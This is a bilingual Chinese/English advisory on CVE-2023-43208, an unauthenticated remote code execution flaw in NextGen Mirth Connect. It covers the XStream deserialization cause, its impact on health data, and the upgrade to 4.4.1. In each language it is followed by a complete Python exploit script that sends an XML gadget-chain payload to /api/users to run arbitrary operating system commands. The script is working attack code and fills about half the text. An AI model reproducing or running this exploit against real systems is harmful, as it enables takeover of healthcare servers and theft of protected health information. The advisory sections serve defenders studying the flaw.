NextGen Healthcare Mirth Connect
CVE-2023-43208
漏洞概述
CVE-2023-43208 是一个存在于 NextGen Healthcare Mirth Connect 数据集成平台中的严重安全漏洞。它允许未经身份验证的攻击者实现 RCE (Remote Code Execution - 远程代码执行),其 CVSS (Common Vulnerability Scoring System - 通用漏洞评分系统) 评分为极高的 9.8 分(满分 10 分)。
技术细节
该漏洞的根本原因在于对不可信数据的反序列化处理不当:
- 前置背景: 此漏洞实际上是对稍早前另一个严重漏洞(CVE-2023-37679)的补丁绕过。最初的修复方案仅仅使用了黑名单来拦截特定的危险对象类,事实证明这种防御并不完整。
- 攻击载体: Mirth Connect 在通过 API (Application Programming Interface - 应用程序编程接口) 接收 XML 数据时,使用了 XStream Java 库进行反序列化(即将外部 XML 数据转换回内部的 Java 对象)。
- 执行过程: 由于系统在解析数据前没有进行严格的验证,攻击者可以构造并发送特制的恶意 XML 载荷。当系统自动处理该载荷时,会以 Mirth Connect 服务的当前运行权限(在 Windows 平台上通常是最高级别的 SYSTEM 权限)静默执行任意的底层操作系统命令。
影响范围与潜在风险
- 受影响版本: 所有早于 4.4.1 版本的 Mirth Connect 实例均存在此风险。
- 实际暴露风险: 该漏洞由于不需要任何认证凭据(如用户名或密码)即可触发,极其容易被利用。目前它已被 CISA (Cybersecurity and Infrastructure Security Agency - 美国网络安全和基础设施安全局) 正式列入 KEV (Known Exploited Vulnerabilities - 已知被利用漏洞) 目录,这意味着在真实网络环境中已经检测到了针对该漏洞的活跃攻击事件。
- 数据与网络威胁: Mirth Connect 广泛用于处理敏感数据。一旦服务器被攻破,攻击者不仅可以完全接管该服务器,还可能以此为完美跳板在内部网络中横向渗透,窃取大量的 PHI (Protected Health Information - 受保护的健康信息) 或其他核心业务资产。
修复与应对方案
确保管理后台及核心服务始终处于安全版本是当务之急。官方彻底修复此问题的唯一有效方案是将 Mirth Connect 升级到 4.4.1 或更高版本。在 4.4.1 版本中,官方移除了脆弱的 XStream 黑名单机制,转而采用了更安全的显式白名单策略来限制可被反序列化的类。
利用
# Exploit script for CVE-2023-37679 and CVE-2023-43208 affecting Nextgen's Mirth Connect
# Created by Ákos Jakab, based on:
# (1.) https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-MIRTH_CONNECT_CVE_2023_43208-
# (2.) https://www.horizon3.ai/attack-research/attack-blogs/writeup-for-cve-2023-43208-nextgen-mirth-connect-pre-auth-rce/
import argparse
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def generate_payload(command, platform):
if platform.lower() == "win":
cmd = f"cmd.exe /c \"{command}\""
else:
cmd = f"{command}"
xml_payload = f"""
<sorted-set>
<string>ABCD</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
<target class="org.apache.commons.collections4.functors.ChainedTransformer">
<iTransformers>
<org.apache.commons.collections4.functors.ConstantTransformer>
<iConstant class="java-class">java.lang.Runtime</iConstant>
</org.apache.commons.collections4.functors.ConstantTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>getMethod</iMethodName>
<iParamTypes>
<java-class>java.lang.String</java-class>
<java-class>[Ljava.lang.Class;</java-class>
</iParamTypes>
<iArgs>
<string>getRuntime</string>
<java-class-array/>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>invoke</iMethodName>
<iParamTypes>
<java-class>java.lang.Object</java-class>
<java-class>[Ljava.lang.Object;</java-class>
</iParamTypes>
<iArgs>
<null/>
<object-array/>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>exec</iMethodName>
<iParamTypes>
<java-class>java.lang.String</java-class>
</iParamTypes>
<iArgs>
<string>{cmd}</string>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
</iTransformers>
</target>
<methodName>transform</methodName>
<eventTypes>
<string>compareTo</string>
</eventTypes>
</handler>
</dynamic-proxy>
</sorted-set>
"""
return xml_payload
def exploit(target_url, command, platform):
payload = generate_payload(command, platform)
headers = {
'Content-Type': 'application/xml',
'X-Requested-With': 'OpenAPI'
}
try:
response = requests.post(f"{target_url}/api/users", data=payload, headers=headers, verify=False)
if response.status_code == 500:
print("The target appears to have executed the payload.")
else:
print("Failed to execute the payload.")
except requests.exceptions.RequestException as e:
print(f"Request failed: {e}")
def main():
parser = argparse.ArgumentParser(description='Exploit script for CVE-2023-43208.')
parser.add_argument('-c', '--command', required=True, help='Command to execute on the target system.')
parser.add_argument('-u', '--url', required=True, help='Target URL.')
parser.add_argument('-p', '--platform', default='unix', choices=['unix', 'win'], help='Target platform (default: unix).')
args = parser.parse_args()
exploit(args.url, args.command, args.platform)
if __name__ == "__main__":
main() NextGen Healthcare Mirth Connect
CVE-2023-43208
Vulnerability Overview
CVE-2023-43208 is a critical security vulnerability present in the NextGen Healthcare Mirth Connect data integration platform. It allows an unauthenticated attacker to achieve RCE (Remote Code Execution) and has a CVSS (Common Vulnerability Scoring System) score of a very high 9.8 out of 10.
Technical Details
The root cause of the vulnerability lies in improper deserialization handling of untrusted data:
- Background Context: This vulnerability is actually a patch bypass for another critical vulnerability (CVE-2023-37679) discovered slightly earlier. The initial fix merely used a blacklist to block specific dangerous object classes, which proved to be an incomplete defense.
- Attack Vector: When Mirth Connect receives XML data via its API (Application Programming Interface), it uses the XStream Java library for deserialization (i.e., converting external XML data back into internal Java objects).
- Execution Process: Because the system does not perform strict validation before parsing the data, an attacker can craft and send a specially designed malicious XML payload. When the system automatically processes this payload, it will silently execute arbitrary underlying operating system commands with the current privileges of the Mirth Connect service (which is typically the highest SYSTEM level privilege on the Windows platform).
Impact and Potential Risks
- Affected Versions: All Mirth Connect instances prior to version 4.4.1 are at risk.
- Actual Exposure Risk: The vulnerability is extremely easy to exploit as it requires no authentication credentials (such as a username or password) to trigger. It has been officially added to the CISA (Cybersecurity and Infrastructure Security Agency) KEV (Known Exploited Vulnerabilities) catalog, indicating that active attacks targeting this vulnerability have already been detected in real-world network environments.
- Data and Network Threats: Mirth Connect is widely used to handle sensitive data. Once the server is compromised, the attacker can not only take full control of the server but also potentially use it as a perfect pivot point for lateral movement within the internal network, stealing large amounts of PHI (Protected Health Information) or other critical business assets.
Remediation and Mitigation
Ensuring that the management interface and core services are always on a secure version is of the utmost priority. The only effective official solution to fully address this issue is to upgrade Mirth Connect to version 4.4.1 or higher. In version 4.4.1, the official developers removed the vulnerable XStream blacklist mechanism and switched to a more secure explicit whitelist strategy to restrict the classes that can be deserialized.
Exploitation
# Exploit script for CVE-2023-37679 and CVE-2023-43208 affecting Nextgen's Mirth Connect
# Created by Ákos Jakab, based on:
# (1.) https://sploitus.com/exploit?id=MSF:EXPLOIT-MULTI-HTTP-MIRTH_CONNECT_CVE_2023_43208-
# (2.) https://www.horizon3.ai/attack-research/attack-blogs/writeup-for-cve-2023-43208-nextgen-mirth-connect-pre-auth-rce/
import argparse
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def generate_payload(command, platform):
if platform.lower() == "win":
cmd = f"cmd.exe /c \"{command}\""
else:
cmd = f"{command}"
xml_payload = f"""
<sorted-set>
<string>ABCD</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="org.apache.commons.lang3.event.EventUtils$EventBindingInvocationHandler">
<target class="org.apache.commons.collections4.functors.ChainedTransformer">
<iTransformers>
<org.apache.commons.collections4.functors.ConstantTransformer>
<iConstant class="java-class">java.lang.Runtime</iConstant>
</org.apache.commons.collections4.functors.ConstantTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>getMethod</iMethodName>
<iParamTypes>
<java-class>java.lang.String</java-class>
<java-class>[Ljava.lang.Class;</java-class>
</iParamTypes>
<iArgs>
<string>getRuntime</string>
<java-class-array/>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>invoke</iMethodName>
<iParamTypes>
<java-class>java.lang.Object</java-class>
<java-class>[Ljava.lang.Object;</java-class>
</iParamTypes>
<iArgs>
<null/>
<object-array/>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
<org.apache.commons.collections4.functors.InvokerTransformer>
<iMethodName>exec</iMethodName>
<iParamTypes>
<java-class>java.lang.String</java-class>
</iParamTypes>
<iArgs>
<string>{cmd}</string>
</iArgs>
</org.apache.commons.collections4.functors.InvokerTransformer>
</iTransformers>
</target>
<methodName>transform</methodName>
<eventTypes>
<string>compareTo</string>
</eventTypes>
</handler>
</dynamic-proxy>
</sorted-set>
"""
return xml_payload
def exploit(target_url, command, platform):
payload = generate_payload(command, platform)
headers = {
'Content-Type': 'application/xml',
'X-Requested-With': 'OpenAPI'
}
try:
response = requests.post(f"{target_url}/api/users", data=payload, headers=headers, verify=False)
if response.status_code == 500:
print("The target appears to have executed the payload.")
else:
print("Failed to execute the payload.")
except requests.exceptions.RequestException as e:
print(f"Request failed: {e}")
def main():
parser = argparse.ArgumentParser(description='Exploit script for CVE-2023-43208.')
parser.add_argument('-c', '--command', required=True, help='Command to execute on the target system.')
parser.add_argument('-u', '--url', required=True, help='Target URL.')
parser.add_argument('-p', '--platform', default='unix', choices=['unix', 'win'], help='Target platform (default: unix).')
args = parser.parse_args()
exploit(args.url, args.command, args.platform)
if __name__ == "__main__":
main()